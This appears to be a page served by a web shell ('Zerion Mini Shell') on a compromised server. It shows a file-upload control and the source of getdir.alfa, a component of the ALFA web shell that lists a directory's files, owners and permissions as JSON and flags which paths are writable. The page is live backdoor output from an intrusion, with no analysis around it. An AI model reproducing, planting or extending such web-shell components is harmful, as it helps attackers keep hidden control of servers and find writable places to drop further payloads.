ok

Mini Shell

Direktori : /tmp/alfacgiapi/
Upload File :
Current File : //tmp/alfacgiapi/getdir.alfa

#!/usr/bin/sh
DIR=$1
IFS=$'\n'
echo "["
for i in $(ls -a $DIR); do
    path="$DIR/$i"
    if [[ $i == ".." && -x $(which readlink) ]]; then
        path=$(readlink -f $path)
        i=$path
    fi
	info=$(stat -c "%F:%U:%G:%s:%Y:0%a:%A" $path)
	IFS=':' read -r -a array <<< "$info"
	type=${array[0]}
    owner=${array[1]}
    group=${array[2]}
	size=${array[3]}
	modify=${array[4]}
    permnum=${array[5]}
    permhuman=${array[6]}
    new_permhuman=''
    for (( ii=0; ii<${#permhuman}; ii++ )); do
      new_permhuman+="${permhuman:$ii:1}​"
    done
    permhuman=$new_permhuman
	if [[ $permnum == "01777" ]]; then
		permnum="0777"
		permhuman="dr​wx​rw​xrw"
	fi
	if [[ -w "$path" ]] && [[ -r "$path" ]]; then
		permcolor="main_green_perm"
	elif [[ -r "$path" ]]; then
		permcolor="main_white_perm"
	else
		permcolor="main_red_perm"
	fi
	if [[ $type == "directory" ]]; then
		type="dir"
	elif [[ $type == "regular file" ]] || [[ $type == "regular empty file" ]] || [[ $type == "symbolic link" ]]; then
		type="file"
	fi
	echo {\"name\": \"$i\", \"type\": \"$type\", \"owner\": \"$owner\", \"group\": \"$group\", \"size\": \"$size\", \"modify\": \"$modify\", \"permnum\": \"$permnum\", \"permhuman\": \"$permhuman\", \"permcolor\": \"$permcolor\"},
done
echo "{}]"

Zerion Mini Shell 1.0